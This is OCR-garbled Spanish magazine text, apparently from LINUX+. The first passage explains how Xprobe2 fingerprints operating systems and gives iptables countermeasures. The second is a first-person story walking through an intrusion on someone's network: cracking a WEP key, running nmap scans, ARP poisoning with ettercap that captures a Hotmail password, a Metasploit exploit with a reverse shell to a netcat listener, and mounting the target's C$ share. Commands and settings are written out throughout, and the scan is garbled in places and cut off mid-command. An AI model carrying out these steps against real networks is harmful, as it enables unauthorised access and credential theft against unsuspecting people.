Para ello vuelve a enviar un paquete del mismo
tipo pero con el codigo establecido con el valor
123. Esto parece ilogico, ya que ese codigo no
alberga ningln significado real, pero debido
a las distintas implementaciones de protocolo
por parte de los disefiadores de sistemas opera-
tivos, Xprobe se aprovecha de la respuesta para
su identificacion. Por norma general, los siste-
mas tipo Windows devolveran una respuesta
de tipo 0 con codigo 0, mientras que el resto
utilizara como valor de codigo el mismo que se
encontro en la peticion, es decir, 123.

Si echamos un vistazo a la Figura numero 5,
podemos ver como la respuesta obtenida confirma
que detras del servidor web de LINUX+ se en-
cuentra un sistema operativo que no es Windows.
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Type: B (Gche (ping) reguest)

Checksum: CuglOs [correct]
Tdentifier: onded
Sequence nusber: 1 [oxoo01)

¥ Data (55 bytes)

b Ethernet 11, Src: Apple_cbrecsOe (0031bré3:chrecce), Dst: Tecom P2idciS2 (00518118 72:0c:52)
b Internet Protocel, Srcr 162.188.0.193 (192.188,0.193}, Dst: 208,101.53.75 (208.101.53.76)
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joos0 38 37

. L1 —

Code liimp <o), 1 byte

JPackets- 17 Displayed: 17 Marked: 0 Dropped: 0
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Wireshark capturando tramas emitidas por Xprobe2
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Lista de mensajes

0 Echo Reply

1 Unassigned

2 Unassigned

3 Destination Unreachable

4 Source Quench

5 Redirect

6 Alternate Host Address

7 Unassigned

8 Echo

9 Router Advertisement

10 Router Solicitation

1" Time Exceeded

12 Parameter Problem

13 Timestamp

14 Timestamp Reply

15 Information Request

16 Information Reply

17 Address Mask Request

18 Address Mask Reply

19 Reserved (for Security)

20-29 Reserved (for Robustness Experi-
ment)

30 Traceroute

31 Datagram Conversion Error

32 Mobile Host Redirect

33 IPv6 Where-Are-You

34 IPv6 I-Am-Here

35 Mobile Registration Request

36 Mobile Registration Reply

37 Domain Name Request

38 Domain Name Reply

39 SKIP

40 Photuris

41 ICMP messages utilized by expe-
rimental mobility protocols such as
Seamoby

42-255  Reserved

Xprobe continta con 3 peticiones ICMP ti-
po 13, 15y 17 que pueden o no ser respondidas
por el servidor analizado. Decimos o no, porque
Xprobe utiliza estas no respuestas para identifi-
car algunos sistemas Windows que ignoran esta
clase de peticiones extrafnas. Podriamos decir
que aquellos sistemas operativos que mantie-
nen la boca cerrada, a veces son los que antes
llaman la atencion.

Luego comienza un juego muy interesan-
te, Xprobe envia una peticion DNS al router
preguntando por www.securityfocus.com con
el objetivo de obtener una respuesta vélida de
éste. La finalidad es que Xprobe modificard mi-
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Type: 0 (Echo (ping) reply)

Code: 123 ()

Checksum: 0xa70a [correct]

Identifier: ox4bsd

Sequence number; 1 (0x0001)
b Data (56 bytes)
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Respuesta ICMP tipo 0 codigo 123

nimamente esta respuesta y la reenviard hacia
el servidor analizado. Esto se convierte en una
respuesta gratuita a una peticién nunca solicita-
da, que va dirigida al puerto UDP 65535 desde
el puerto local 53, simulando asi ser un servidor
DNS completamente valido. La respuesta que
provenga de este puerto ofrecera pistas a Xpro-
be en su valoracion estadistica.

Para terminar, Xprobe envia un paquete
TCP “syn” al puerto 65535. La respuesta sera
distinta dependiendo de si éste se encuentra ce-
rrado o abierto. Si necesita una explicacion mas
amplia sobre este aspecto, puede acudir al arti-
culo Hacking: Analisis de Seguridad que pod-
ra encontrar en este mismo niimero.

Cada ataque normalmente posee su defensa,
como en el ajedrez. Las técnicas anti-finger-
printing pasan la mayoria de las veces por la
modificacion de parametros del sistema con la
finalidad de simular ser otro completamente
distinto.

Por ejemplo, ya hemos hablado varias ve-
ces de que el campo TTL de un paquete trans-
mitido por la red, en un sistema Windows es
de 128 y en Linux es de 64. Este valor es mo-
dificable y por lo tanto un camino abierto para el

Logo XProbe2

posible engaiio (aunque esto no es ni por asomo
suficiente).

Para los sistemas Linux, varios hackers han
creado distintos parches para el kernel o inclu-
so LKM (Linux Kernel Modules) que una vez
aplicados alteran el comportamiento del mismo
y de esta forma engafar a las herramientas de
analisis e identificacion.

No obstante, como Xprobe trabaja princi-
palmente con un juego de pruebas basadas en
el protocolo ICMP, debe ser suficiente unas
reglas correctamente establecidas desde ip-
tables. Filtraremos los paquetes sospechosos
y los rechazaremos bloqueando asi los intentos
por parte del atacante. Veamos cuatro lineas
interesantes:

iptables -A INPUT -p icmp --icmp-type
ping -s 127.0.0.1 -j ACCEPT

iptables -A INPUT -p icmp --icmp-type
ping -j REJECT --reject-with icmp-
host-2) unreachable

iptables -A OUTPUT -p icmp --icmp-type
pong -s 127.0.0.1 -3 ACCEPT

iptables -A OUTPUT -p icmp --icmp-type
pong -j REJECT --reject-with icmp-

host-unreachable

Estas reglas impiden que a nuestro sistema se le
pueda realizar un ping, salvo que la primera
y la tercera se encargan de que nosotros si
tengamos permiso para hacerlo desde nuestro
sistema. Una actitud todavia mas paranoica
seria eliminar estas dos ultimas que hemos
mencionado. Recuerda que si alguien consi-
guiera instalar un troyano en nuestro sistema,
estas reglas podrian evitar que desde el mismo
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se desencadenara un ataque de denegacion de
servicio (DoS).

Otra regla que también podria resultarnos
util, es la que muestro a continuacion:

# Paquetes ICMP desconocidos
iptables -A OUTPUT -m state -p icmp
--state INVALID -j DROP

Y por ultimo, tenemos dos comandos que po-
demos ejecutar en una consola con permisos de
administrador y que, alin sirviendo para anular
otro tipo de ataques, tienen una estrecha rela-
cién con el envio de paquetes ICMP:

# Ataques DoS

echo 1 > /proc/sys/net/ipv4/
icmp_ignore bogus_error responses

# Ataques ARP y ARP SPOOFING

echo 1 > /proc/sys/net/ipv4/

icmp_echo_ignore_broadcasts

Una vez aplicados estos principios un comando
ping desde una maquina Windows a nuestro
sistema Linux obtendria una respuesta como:
Respuesta desde 192.168.0.193: Host de des-
tino inalcanzable.

Recuerda que, si no has eliminado las re-
glas 1y 3, puedes hacerte ping a ti mismo, de
modo que ejecutar sudo xprobe2 localhost
obtendra resultados. No sera asi si intentan ha-
cerlo desde otro sistema. Lo cual es tu objetivo,
que tu puedas analizar a otros mientras ellos no
lo pueden hacer contigo.

Como se ha podido ver, Xprobe2 es una herra-
mienta realmente practica que nos permite sa-
ber a qué nos estamos enfrentando antes de pro-
ceder a un ataque o incluso una simple prueba
de penetracion. Pero lo mas importante no es
saber que es capaz de hacer, sino como es ca-
paz de hacerlo, y las ventajas que ofrece frente
a otra clase de aplicaciones del mismo tipo.
Este conocimiento nos da la habilidad de con-
vertirnos en “fantasmas de la red” al tiempo que
logramos nuestros objetivos.

Como hackers, nuestra intencion es conocer
hasta el mas minimo detalle sobre como fun-
cionan las herramientas con las que trabajamos,
si existen formas de mejorarlas o hasta que
punto podemos adaptarlas. Y recuerda, que si
no puedes conseguir la aplicacion que necesi-
tas, siempre puedes programartela tu mismo
o plantear tus ideas para que otros puedan pro-
ceder al desarrollo. Nuestro mundo es un mun-
do de evolucion, y tu puedes contribuir a ele-
varlo al maximo nivel. &

—
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Hacking:

Analisis de Seguridad

David Puente Castro

Sacar provecho de una historia de hacking para aprender ciertas habilidades de
analisis y conceptos de penetracion de sistemas, puede ser una muy buena idea
frente a los cotidianos documentos que puede leer a diario. Pero agarrese, porque
esto no ha hecho mas que comenzar, y las historias a veces se convierten en

realidad.

linux@software.com.pl

1 siguiente articulo no versa sobre ninguna en-

trada espectacular a ninguna clase de sistema de

indole importante. Tomaremos lo que viene a

continuacién como una pequefia historieta sobre
una pequefia visita al PC de “alguien”. Como era de esperar,
no revelaremos ningtin tipo de informacion clasificada por la
NSA, pero al menos servira de forma eficiente para adentrar-
nos en las aptitudes mas basicas del analista de vulnerabilida-
des o de aquel profesional que tiene como mision realizar un
test de penetracion.

Me encuentro lejos de mi casa, en el campo, alejado del mun-
danal ruido en un modesto chalet de dos pisos recién estrena-
do. Dejo a un lado el Necronomicon, libro que recientemente
he adquirido, y enciendo el ordenador portatil.

No tardo demasiado en descubrir que la tarjeta inalam-
brica no detecta ni tan siquiera una red en su perimetro de
alcance, pero esto puede cambiar. Subo rapidamente las es-
caleras hasta mi habitacion y sin cerrar la tapa, dejo el por-
tatil sobre la mesa, en medio de otros cuatro ordenadores
que lo rodean. Los enciendo de uno en uno, ya sea con los
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pies o con las manos y me vuelvo a centrar en mi también
modesto portatil, con la Gltima version de Ubuntu (GNU/
Linux) y la interfaz grafica Compiz Fusion, instalada sobre
Gnome.

Toda apariencia, pues a decir verdad, con una interfaz de
comandos podria hacer exactamente lo mismo que descri-
biremos a lo largo de este articulo. De todos modos invito
a probarlo. Es el futuro y, por el momento, es gratis.

Pero pongdmonos manos a la obra. Cierro el interruptor
de la tarjeta MiniPCI Intel 2200 que viene incorporada con
el portatil e introduzco en la ranura PCMCIA una tarjeta
SMC de 108 Mbps. Un rapido barrido con ella y finalmente
obtenemos algun resultado. Aparece delante de mis ojos una
red cuyo nombre es WLAN 8D, y cabe decir, que con una
sefal bastante aceptable.

Para aquellos afortunados que hayan leido mi articulo
“Cracking WiFi al Completo”, en el numero anterior de Li-
NUX+ (Edicion de Mayo), sabran que hemos tenido mucha
suerte. Podria haber sido cualquier otra red y nos echaria-
mos unas veinticuatro horas (calculando por lo bajo sin
ataques de reinyeccion) capturando paquetes IV hasta con-
seguir alrededor de un millon de ellos.



Pero este no es el caso, se trata de un punto
de acceso, de los fabricados por Telefonica,
y su incompetencia es tan grande que podemos
lograr romper la contrasefia que protege la red
por defecto, capturando la insignificante canti-
dad de 4 paquetes y tan rapido como nuestros
dedos nos permitan escribir en la consola el
siguiente comando:

$ sudo airodump-ng

-w ~/todos 0 athO

Con esto conseguimos capturar paquetes de
todas las redes Wireless que la tarjeta ina-
lambrica detecta. Lo hacemos asi, porque no
sabemos en que canal opera el punto de acceso
(AP a partir de ahora) y, como es el unico que
detecta, tampoco llenara el archivo fodos con
basura innecesaria.

En ningin momento le decimos que cap-
ture solo paquetes IV porque el archivo tiene
que estar en el formato estandar cap. Es facil
deducir que el archivo se guardard en nuestro
directorio personal y su nombre sera fodos-
01.cap. En el instante en que tengamos cuatro
paquetes capturados, podremos cerrar la apli-
cacion pulsando sencillamente la combinacion
de teclas [Ctr]+[C].

Como ya se vio en el articulo que hace un
momento hemos mencionado, debemos e¢je-
cutar la siguiente combinacion de comandos,
donde xx:xx:xx:xx:xx:xx es la direccion
MAC del AP al que deseamos acceder. Re-
cuerda que podemos ver esta direccion desde
airodump:

$ wlandecrypter XX:XX:XX:XX:XX:XX
WLAN D8 | wepattack

-f todos-0l.cap

Casi en el mismo instante tendremos delan-
te de nuestros ojos la contraseia: X00013§-
58D48D. Si echamos un vistazo al codigo
fuente del programa wlandecrypter podre-
mos deducir que estamos tratando con un
punto de acceso de la marca Xavy. Esta es
una buena pista para buscar las contrasefias
por defecto de administracion del AP, en una
lista como la que podemos encontrar en la
siguiente direccion web: ttp://www.phenoelit-
us.org/dpl/dpl.html.

El siguiente paso es comprobar si esta
palabra de paso es correcta, y para ello inten-
taré conectarme con uno de los ordenadores
de sobremesa que tengo a mi lado. Descubro
que el enlace se produce del modo adecuado,
pero dado que la antena que sale de la tarjeta
inaldmbrica no consigue la misma cobertura
que el portatil y sufre molestas aunque infre-

NOTA

En Windows, un browser llamado Kmeleon le
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permite al usuario modificar la cadena User_

Agent a su antojo y engafar asi al observador curioso. Incluso puede hacer creer a un
servidor que usted trabaja desde otro sistema operativo.

Personalmente prefiero el add-on User-Agent Switcher disponible para Firefox, que
realiza exactamente el mismo trabajo sin dejar de lado la potencia de esta fantastico nave-
gador, y nos permite actuar directamente bajo Linux.

cuentes desconexiones, decido entrar a la pagi-
na de administracion del AP y cambiar algunos
parametros de su configuracion.

Abro una nueva pestafia en mi navegador
habitual y escribo como URL la direccion
192.168.1.1, que resulta ser la IP del punto de
acceso. Mi intencion es cambiar el valor del pa-
rametro beacon interval de 100 a 50. Con ello
se consigue una conexion mas estable y con-
stante, ya que se evitan problemas de aso-
ciacion, que ocurren cuando uno puede ver el
punto de acceso pero se producen frecuentes
desenlaces.

Default Pas

Listado de contrasefas por defecto

Otros parametros que podriamos tener
en cuenta son el RTS Threshold, que una vez
modificado su valor a 2304 ayuda con ciertos
problemas de pérdida de paquetes, y el mismo
valor sigue siendo adecuado para Fragmenta-
tion Threshold.

Como curiosidad saludable, ahora me
apetece saber qué puertos abiertos estan dis-
ponibles en el router. La mejor herramienta
para este proposito, como ya es conocida in-
cluso por los menos interesados en el hacking,
es la famosa aplicacion nmap creada por Fyo-
dor Yarochkin.
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Recientemente, su autor ha publicado un
libro que describe el uso completo de la he-
rramienta incluyendo hasta los detalles mas
pormenorizados y las técnicas mas avanzadas
que con ella se pueden realizar. Hay disponi-
ble una version on-line que usted mismo pue-
de consultar en la siguiente direccion: http.//
nmap.org/book/toc.html, 1o cual vuelve a de-
mostrar la grandeza inigualable del poder del
software libre y su acompafante, la documen-
tacion libre.

Es muy probable que mas adelante le
dediquemos a esta fantastica aplicacion un
articulo completo, pero por el momento vere-
mos uno de sus usos mas basicos:

$ sudo nmap -sS -v 192.168.1.1

Con este comando lo que estamos realizando
es un escaneo de puertos conocido como SYN
Stealth. Para comprender su funcionamiento
daremos una explicacion sobre una conexion
TCP entre dos ordenadores.

Muchos ya saben que cuando, por ejem-
plo, visitamos una pagina web de un servidor,
lo que ocurre en realidad es que nuestro orde-
nador (cliente), se conecta al puerto 80 de este
servidor al que hace peticiones en un formato
especifico conocido como protocolo HTTP.

Pero antes de que todo esto ocurra, una co-
nexion debe ser establecida en el puerto men-
cionado, y eso se produce mediante una opera-
cion conocida como saludo de tres vias o three-
handshake. Todos sabemos que la informacion
viaja por la red en forma de paquetes, y estos
paquetes contienen unas cabeceras que con-
trolan estos datos y dicen de donde vienen,
a donde van, cuanto ocupan, y otra clase de
parametros mas complejos.

Entre estas cabeceras, las mas comunes son
las conocidas como TCP, UDP, IP ¢ ICMP.
Como a nosotros nos interesa la primera
de ellas, pueden ver su estructura en la Fi-
gura 4.

Si nos fijamos bien, tenemos cierta infor-
macion de control, asi como el puerto origen
del que salen nuestros datos, el puerto al que
se dirigen, un numero de secuencia para
evitar la repeticion de paquetes, una suma de
control para verificar que nadie ha alterado el
paquete durante su viaje, y un largo etc.

Pero entre todas las opciones destacan
seis siglas en vertical que son conocidas como
flags. Tenemos por ejemplo URG, que si se ac-
tiva indica la presencia de un paquete urgente
(con alta prioridad), ACK para reconocimien-
to, RST que es muy usual recibirlo como res-
puesta cuando un puerto esta cerrado, SYN
para tareas de sincronizacion y demas.

Vale, todo esto esta muy bien, pero... /,co-
mo se produce el saludo de 3 vias? Pues, de
forma esquematica, el cliente envia al servidor
un paquete con el flag SYN de su cabecera TCP
activado, el servidor contesta con este mismo
flag activado y ademas enciende también un
ACK, por tltimo el cliente envia un ACK uni-
camente, y a partir de aqui los datos ya pueden
ser transmitidos. En medio de todo esto se
intercambian unos niimeros de secuencia que
se van incrementando en cada transmision,
pero esto queda fuera del alcance del articulo.

En resumen tenemos:

*  Cliente -> Servidor : SYN
*  Servidor ->Cliente : SYN/ACK
*  Cliente -> Servidor : ACK

Todo sistema operativo, ya estemos hablando
de Linux, MacOS X, o Windows, registran en
sus /ogs todas las conexiones establecidas en
cualquiera de sus puertos. El objetivo del es-
caneo SYN Stealth es evitar precisamente es-
to, ser registrado. ;Y como lo logra? Sencillo,
realizando el saludo de 3 vias de forma ma-
nual y deteniéndolo en el punto adecuado.

Como ya he mencionado, cuando un
puerto esta cerrado ante un paquete con el
flag SYN activado se recibe como respuesta
un RST. En cambio, si el puerto esta abierto,
recibiremos un SYN/ACK. En este punto, lo
que hace el cliente en vez de terminar de esta-
blecer la conexion con un ACK, es terminarla
con un RST, de modo que esta nunca quede
registrada (el servidor piensa que es un error
0 una conexion perdida), y nosotros ya sabe-
mos que el puerto estaba abierto.

Hoy en dia una gran cantidad de firewalls
e IDS detectan este tipo de escaneos y alertan
al usuario de que estan ocurriendo. Pero esto no
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NOTA

Si el sistema operativo esta en inglés, el
usuario administrador es: administrator.

siempre es asi y al menos seremos mas silencio-
sos que con un escaneo 7CP Connect clasico.

Jugando con los flags y otras opciones de
las cabeceras TCP e IP se pueden diferenciar
los puertos abiertos de los cerrados, asi es que
nmap dispone de escaneos como: fin scan, ack
scan, null scan, x-mas scan y mas. E7stos seran
detallados en un futuro articulo sobre esta
aplicacion.

Continuemos. El resultado que obtene-
mos, entre otros datos, es el siguiente:

Interesting ports on 192.168.1.1:
Not shown: 1693 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

80/tcp open http

Hay que darse cuenta de lo interesante que es el
resultado obtenido. Un puerto 23 abierto signi-
fica la oportunidad de administrar el AP a través
del servicio Telnet sin ser registrado en los logs
del sistema de la misma manera en que lo haria
utilizando la interfaz WEB (notese que no digo
que el acceso no sea registrado, sino que no lo
hara del modo en que pretende el administrador
del AP).

Con respecto a esto, no tocaremos nada
mas por el momento, pues ya tendremos tiem-
po mas tarde para investigar a bajo nivel si nos
apetece, y tampoco deseamos que salten las
alarmas, ;verdad?

NMAP

NETWORK
SCANNING
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Cabecera TCP

El titulo de este apartado tiene bastante relevan-
cia, pues ante todo, lo que necesitamos es una
vision general de todos los ordenadores conec-
tados a la red, y una identificacion verosimil
del sistema operativo de aquel que deseamos
vulnerar.

Para la primera de las tareas, nmap vuelve
a ser nuestro angel de la guarda. Con un solo
comando realizamos lo que se conoce como
barrido ping, que no es mas que enviar a cada
ordenador de la subred un paquete ICMP es-
pecial (echo request) a la espera de recibir una
respuesta (echo reply). De ahi el ping-pong de
la analogia. El comando es:

$ sudo nmap -sP 192.168.1.1-255

Esto comprueba si alguno de los ordenadores
comprendidos entre las direcciones IP /92.
168.1.1 y 192.168.1.255 se encuentran acti-
vos. Observe la salida del programa en la Fi-
gura niamero 5.

La correspondencia de las direcciones que
puede visualizar es esta:

e 192.168.1.1 — El punto de acceso.

e 192.168.1.5 = Nuestro objetivo.

e 192.168.1.33 — Mi portatil.

e 192.168.1.34 — El ordenador de sobremesa.

e 192.168.1.111 -> Otro AP conectado a la
red que rara vez se detecta.

Una vez localizado nuestro objetivo, pasaremos
directamente a la siguiente mision, que es iden-
tificar, tan exactamente como podamos, el siste-
ma operativo tras el cual se estd ejecutando.
Esta identificacion, mas conocida como
fingerprinting en la jerga, ha sido llevada
a cabo durante largos aios, y las técnicas han
ido improvisandose y mejorandose a medida
que el tiempo pasa. Ocurre lo siguiente, todos

los protocolos de red conocidos estan especi-
ficados hasta el detalle mas insignificante en
unos documentos conocidos como RFC (Re-
quest for Comments). Claro esta, que cuando
los ingenieros y disefiadores de sistemas de-
sean implantar estos protocolos, deben leerse
estos documentos y cefiirse a sus reglas para
cumplir con las especificaciones dictadas.
Pero esto no siempre es asi, y entre siste-
mas operativos existen ciertas variaciones
de comportamiento que un usuario curioso
puede utilizar en su beneficio para diferen-
ciarlos.

Las primeras implementaciones se basa-
ban en la diferencia entre respuestas a pa-
quetes TCP especialmente creados. Aunque
antiguos, estos métodos todavia siguen fun-
cionando, pero todo avance es necesario en la
materia, y Ofir Arkin, con la ayuda de Fyodor
Yarochkin, ided un nuevo concepto de prue-
bas de identificacion basadas en el protocolo
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de mensajes de error ICMP. Toda la teoria se
encuentra perfectamente detallada en su arti-
culo Técnicas remotas de fingerprinting TCP/
IP stack basadas en ICMP publicado en el nu-
mero 57 de la revista Phrack, y que usted de-
beria leer si de verdad quiere convertirse en
algo mas que un script-kiddie.

Todo esto viene a cuento de que nosotros
utilizaremos la aplicacion que implementa
todas estas técnicas, conocida ya por algunos
como Xprobe. En la Figura 6 usted puede ver
a esta herramienta funcionando contra el or-
denador local y haciendo suposiciones acerca
del sistema operativo y version del mismo
(tenga en cuenta que he desactivado mis re-
glas personales de Iptables que bloquean este
tipo de acciones).

Ahora lo probaremos contra el host obje-
tivo:

$ sudo xprobe2 192.168.1.5
Nos dice que:

[+] Primary guess:
[+] Host 192.168.1.5 Running OS:
"Microsoft Windows XP SP1" (Guess
probability: 100%)
Confiaremos en esta prediccion, factible en un
principio. No obstante, buscaremos unas bases
y argumentos mas sélidos en siguientes apar-
tados que ratifiquen esta afirmacion (100% es
hablar con voz muy alta, y a veces ya se sabe,
que mucho ruido y pocas nueces).

Por lo demas, no se preocupe, analizare-
mos la herramienta Xprobe a fondo en un pro-
ximo articulo, descubriendo todas sus opciones
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y destripando sus interioridades mediante la
captura de todo el trafico legitimo que genera
para lograr su cometido.

Esta seccion sera sencilla para aquellos que
hayan leido mi articulo Ataques Man In The
Middle: Su informacion en manos enemigas en
el numero de Abril de esta misma revista.

Con las siguientes herramientas y un poco
de cerebro interpretativo (hoy en dia casi ni eso
hace falta) podemos saber hasta la mas minima
accion ejecutada por nuestro host objetivo.

Comenzaremos utilizando la clésica y a la
vez poderosa herramienta ettercap, viejo cono-
cido, el gurll en su materia, primo hermano de
Wireshark (anteriormente famoso Ethereal). Lo
ejecutamos con el siguiente comando:

$ sudo ettercap -m archivo.log -C

El parametro -c bien puede sustituirse por -G si
nuestra intencion es utilizar el modo grafico (las
X), pero gracias a ncurses, nos evitamos tener
una multitud de ventanas abiertas por todo el
escritorio. Ahora hacemos clic en la opcion de
ment Sniff 'y dentro de este en Unified sniffing
Cuando se nos solicite la interfaz que vamos
a utilizar para capturar el trafico, le diremos
la que corresponda, que por ejemplo y en mi
caso es ath(.

Una vez logrado esto necesitamos activar
el reenvio IP para que nuestro ordenador no se
quede para él mismo todo el trafico que captu-
re y continiie reenviandolo a su destino origi-
nal. Este paso es realmente critico. Para ello,
como administrador (usuario root) hacemos
lo siguiente:

apas  Ffyudn

Fingerprint en ordenador local

# echo 1 > /proc/sys/net/ipv4/

ip forward

Si no hubiéramos hecho esto, estariamos cap-
turando el trafico del objetivo, pero éste no
tendria su conexion normal a Internet, y es casi
seguro que se daria cuenta en poco tiempo de lo
que sucede. Ademas nosotros nunca consegui-
riamos lo que nos proponemos.

Ahora pulsamos en la opcion de ment Hosts
y dentro de esta, en Scan for hosts. Esperamos
a que se complete la barra de progreso y en el
mismo menu de antes escogemos Hosts list,
entonces nos saldrd una lista con todos los
clientes conectados al punto de acceso. Sele-
ccionamos la direccion IP del objetivo y pul-
samos la tecla 1 de nuestro teclado (no la del
teclado numérico), luego seleccionamos la IP
del punto de acceso y pulsamos la tecla 2.

Nos dirigimos seguidamente al menu
Mitm y escogemos la primera de las opciones,
Arp poisoning, y en el recuadro que nos apa-
rece escribimos la palabra remote para, a con-
tinuacion, pulsar Enfer. Ya por Gltimo, vamos
hasta el menu Start y pulsamos Start sniffing.
El proceso comenzard a capturar el trafico.
Con esto conseguimos hacer creer al objetivo
que nosotros somos el AP y de este modo, todo
el trafico que éste genere, pasara por nosotros
antes de llegar al AP real, que lo enviara se-
guidamente a Internet. Si, esto es una clase de
espionaje, pero ya muchos de ustedes sabian
por donde iba el asunto.

Bajé a la planta baja de mi casa con la in-
tencion de tomarme un café, para subir de vuel-
ta a los dos minutos. Entonces me encontré con
algo interesante en el cuadro inferior de etter-

cap cuyo nombre es: User Messages.
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HTTP : 65.54.179.203:443 -> USER:

nombre@hotmail.com PASS: contrasena
INFO: http://login.live.com/login.srf
?id=2&svc=mail&cbid=24325&msppjph=1l&tw

900&fs=1&1c=58378&_ lang=ES

Es bastante seguro que aparezcan contrasefias
de acceso a otras paginas y/o servicios como
telnet, fip y otros protocolos basados en texto
plano.

Desde luego, no utilizaremos esta informa-
cién para ningun fin personal, pues ese no es
nuestro objetivo, aunque si la podriamos tener
en cuenta, dado que muchos usuarios, sino la
mayoria de ellos, utilizan los mismos nombres
y contrasefias en todos los &mbitos de la red.

Si vamos al menu View > Connections, po-
dremos ver todo el trafico que se genera entre su
ordenador e Internet o la red local incluso. Mas
interesante si cabe seria View > Profiles, que
muestra las direcciones IP de la ventana anterior
resueltas en nombres de dominio. Es decir, pode-
mos ver todas las paginas web que el cliente ha
visitado. Con ello usted puede rastrear sus gustos
y aficiones para finalmente realizar un perfil del
sujeto. Pero este tampoco es nuestro objetivo.

En View > Connections, si nos situamos en-
cima de alguna transaccion HTTP con origen
en 192.168.1.5 y destino una pagina Web cual-
quiera, y pulsamos Enter, quizd podremos ob-
servar lo siguiente en el marco de la izquierda
entre otros datos:

* La cadena User-Agent: Mozilla/4.0 (com-
patible; MSIE 6.0; Windows NT 5.1) >
nos dice que es probable que nos estemos
enfrentando a un WinXP con ServicePack 1.

* En cambio, si hubiéramos obtenido un
User-Agent: Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SVI1; NET CLR 1.1.
4322) > podriamos haber creido mas pro-
bablemente que se trataba de un WinXP
con ServicePack 2.

Yo encontré la primera, de modo que ya te-
nemos un argumento a mayores que certifica
la opiniéon que en su momento nos brindod
Xprobe.

Wireshark no es mucho mas complejo de
utilizar para capturar tramas de red, el tinico in-
conveniente es que habria que realizar el ataque
arp spoofing desde un programa externo. Lo
mas apropiado para este fin es la herramienta
arpspoof del paquete dsniff. Luego, en las
opciones de sniffing, deberiamos establecer la
interfaz con la que vamos a hacer la captura,
fijar un filtro por IP con la direccion del host ob-
jetivo, y tantos otros filtros de protocolo como
especificos en la captura.



Debe darse cuenta que en este punto
nuestras acciones ya no son tan silenciosas. Un
usuario bien preparado podria detectar cambios
ilegales en las tablas caché ARP, y eso seria
una alarma que avisaria inmediatamente de
nuestra presencia en la red.

Dadas todas las condiciones del sistema al que
nos enfrentamos, es propicio utilizar la siguien-
te herramienta a la hora de realizar la fase de
penetracion. Su nombre es Metasploit, y debe-
ria ir en el bolsillo de todo viajante junto con
nuestra navaja suiza mas adorada netcat. Para
los que necesiten mas informacion, los remito
a mi articulo Proyecto Metasploit en el nimero
de Abril de LINUX+.

En esta ocasion utilizaremos la interfaz web
por su sencillez y comodidad. Desde la carpeta
en la que he descomprimido el framework Me-
tasploit ejecuto la siguiente orden:

$ ./msfweb

Ahora, desde un navegador comtn accedemos
al link que se nos indica en la shell: http://127.
0.0.1:55555.

Una vez dentro, hacemos clic en el boton
exploits y esperamos a que se cargue la lista.
En el cuadro de texto superior escribo ss/ para
buscar un exploit que ataque este protocolo
de forma especifica y nos entrega como tnica
opcion: Microsoft Private Communications
Transport Overflow. Aceptamos, y en la nue-
va ventana, hacemos clic sobre el sistema ob-
jetivo que deseamos atacar, en este caso Win-
dows XP SP1. La carga que ejecutaremos para
este exploit sera una shell inversa. Es decir,
obligamos al host objetivo a que nos solicite
una conexion en vez de ser nosotros quien se
la solicite (esto soluciona muchos problemas
de grabacion de registros que podriamos
sufrir).

Elegimos por lo tanto generic/shell_rever-
se_tcp 'y completamos los cuadros de la nueva
ventana de la forma que indico a continuacion:

«  RHOST>192.168.1.5,
*  RPORT >443,
LHOST>192.168.1.33,
*  LPORT>31337.

Antes de ejecutar el exploit, en una shell apar-
te abrimos un puerto a la escucha gracias
a “netcat”, disponible por defecto en practi-
camente la totalidad de distribuciones Linux
actuales:

$ sudo nc -1 -p 31337 -v localhost

Y ahora por fin podemos probar suerte pulsan-
do en el boton: Launch exploit.

No tardamos nada en ver en nuestra con-
sola un bonito:
Microsoft Windows XP [Version
5.1, kxx]

(C) Copyright 1985-2001 Microsoft
Corp.
C:\WINDOWS\system32>

Una vez que hemos demostrado que era po-
sible entrar, nos iremos sin hacer ruido. La
mision esta casi completa. Hemos vulnerado
el sistema.

A estas alturas, y aun teniendo el control total
sobre el sistema, no me apetecia cerrar mis
terminales sin antes comprobar si la maquina
disponia de algin minimo de seguridad.

Tratandose de una estacion con un sistema
operativo de la casa Microsoft, a todos nos
viene a la cabeza un mismo concepto de redes:
Recursos Compartidos. ;Tal vez desprotegidos
y sin contrasefia? Vedmoslo.

Para comprobar esta suposicion, haré uso
del programa Winfingerprint, que puede ser eje-
cutado tanto desde Windows como sobre la pla-
taforma Wine, aunque debe ser tenido en cuenta
que para esta tltima eleccion, una gran cantidad
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de bibliotecas DLL deben ser descargadas en la
carpeta donde éste es intalado.

Volviendo al asunto, en la ventana princi-
pal, seleccionamos la casilla Single host y en
el cuadro de texto introducimos la direccion IP
de nuestro objetivo.

En el apartado Scan Options me animo
a activar también las opciones: Groups, RPC
Bindings, Users y Sessions. Por aquello de que
cuanta mas informacion obtengamos, mucho
mejor. Observe la Figura 7 para mas detalles.

Hacemos clic en el boton SCAN y en po-
cos segundos tendremos delante de nosotros lo
que buscédbamos. Entre otros recursos, y varia-
da informacion ahora mismo irrelevante, nos
dice algo como:

NetBIOS Shares:
Name: \192.168.1.5\C$

Y en el idioma anglosajén quiere decir que
este directorio es accesible con las credenciales
actuales.

Ahora podriamos hacer uso de Samba pa-
ra conectarnos a esta unidad, pero como la
instalacion, configuracion y uso de este ser-
vicio requiere otro articulo completo, lo ha-
remos de la forma mas estandar desde Win-
dows. Es por este motivo que tengo sobre
la mesa mas de 4 ordenadores. Uno de ellos
sirve para cumplir esta clase de pequenas
misiones.

[ Imput Orprteons: rScan Options
C PRange  © IPLst & Domain " Active Directory (WML AP o I
& Single Host ™ Meighborhwod | | win3z 05 Version ¥ Users ¥ Pateh Levad Exit |
1P Address:
[(2iseis [ Mull 1PC$ Sessions P Services [ MAC address - |
F mettios shares [ Disks I Sessions
T osssnd Teme P Groups [ Evert Log LI
: RPC Show I
Ry Wbt Fb'n'uil\ﬂ! rEm A
r Traceroute Most
rGanarsl Opt
[T TCP Portscan Range: i 1024
Tenesut for TCPIUDPTCHPISNMP: B [ LGP Portscan Range: 1 1024
Retries: [ Max Connections:  [1024 [7 SHHP Communty String: | public

Ventana principal de Winfingerprint
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Unidad remota montada en nuestro sistema

Desde una consola de comandos abierta
desde Windows (command.com o cmd.exe se-
gun la version), hacemos uso del comando net
para montarnos una unidad con ese directorio.
Tenemos varias opciones:

*  Conexion clasica:
C:\WINDOWS\system32> net use
X: \192.168.1.5\CS$,

e Para conectar a un recurso compartido
como administrador local:
C:\ WINDOWS\ system32 > net use
X: \ 192.168.1.5\ recurso_compar-
